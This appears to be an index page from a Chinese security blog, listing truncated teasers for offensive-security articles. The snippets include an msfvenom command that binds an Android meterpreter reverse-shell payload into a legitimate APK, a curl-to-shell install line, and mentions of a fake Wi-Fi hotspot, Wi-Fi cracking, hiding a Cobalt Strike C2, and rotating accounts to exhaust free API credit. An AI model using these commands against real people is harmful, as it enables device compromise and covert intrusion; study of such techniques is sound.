推荐阅读：上篇文章介绍了Kali Purple，本文主要介绍常用工具。因为工具有点多，就不写全部的了，准备分篇写，可能比较乱，凑合着看。日常多嘴阶段：其实这个系统用起来就会发现不是很方便，很...

常规的渗透测试流程一般为以下几个过程：目标确认、信息收集、漏洞发现、漏洞利用、权限维持内网渗透、目标获取痕迹清理、编写文档输出报告。学了这么久渗透测试，“骚”的技术点学了不少，那作...

工具路由器一个所需软件；1.phpStudyLite2，WinMyDNS 对路由器进行配置在wifi名称中更改要掉的名称，一定要一模一样。加密方式选择open更改路由器的登录密码（别让人家识破）设置dhcp服务器在w...

准备高级终端 Termux，可以到官方下载地址下载。XMR 钱包账号，下文会介绍申请安装发行版 UbuntuTermux 内输入并回车SH . <(curl -L gitee.com/mo2/linux/raw/2/2)执行结束后会弹出这样一个...

关于NPSnps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发，可支持任何tcp、udp上层协议（访问内网网站、本地支付接口调试、ssh访问、远程桌面，内网dns解析等...

                                      做积极的人，而不是积极废人！                                   每天更新文章，每天掉亿点点头发...No.1 树莓...

简介Stryker 是新一代的移动渗透测试应用程序。它将帮助小白在没有特殊技能和知识的情况下测试他们网络设备的常见漏洞。并且还为您提供了添加利用漏洞的脚本和新的功能！使用教程stryker破解WiF...

在msf中其实通过help命令就可以看到，我们可以加-x ［正常应用.apk］这个参数来进行捆绑：msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.83 lport=5555 -x 1.apk R>2.apk(ro...

前言：强调一点：该教程只能用于学习，切勿用于违法行为。若通过学习本篇博客，做出违法行为，一切后果操作者自负。技术无罪。文中提及的部分技术可能带有一定攻击性，仅供安全学习和教学用途，...

前言逆向接口虽然免费，但是访问有限制、速度慢、经常崩溃，所以我再提供一个官方开放接口的版本，使用api key，无需重置token，没有地区限制（至少我没发现）,新账号有18美元额度，用完换号，...

推荐阅读： 1、简介 在我们上线cs时，常会考虑这样一个问题。如果直接暴露cs服务端的IP地址，岂不很危险。于是我们通过云函数来上线我们的CS从而保护服务端IP。对于攻击者而言，隐藏自己的C2是...

推荐阅读 我们在利用cs玩耍时，最头疼的莫过于没有公网IP问题。在前面的文章中我们讲过通过内网映射或者端口转发的方式使其上线。哪么有没有更简单的方法呢？ 下载 介绍  CS是什么？ Cobalt St...

Viper 是 Go 应用程序的完整配置解决方案，包括 12-Factor 应用程序。它旨在在应用程序中工作，并且可以处理所有类型的配置需求和格式。让我们一期来学习吧！  前言：Viper是一款图形化...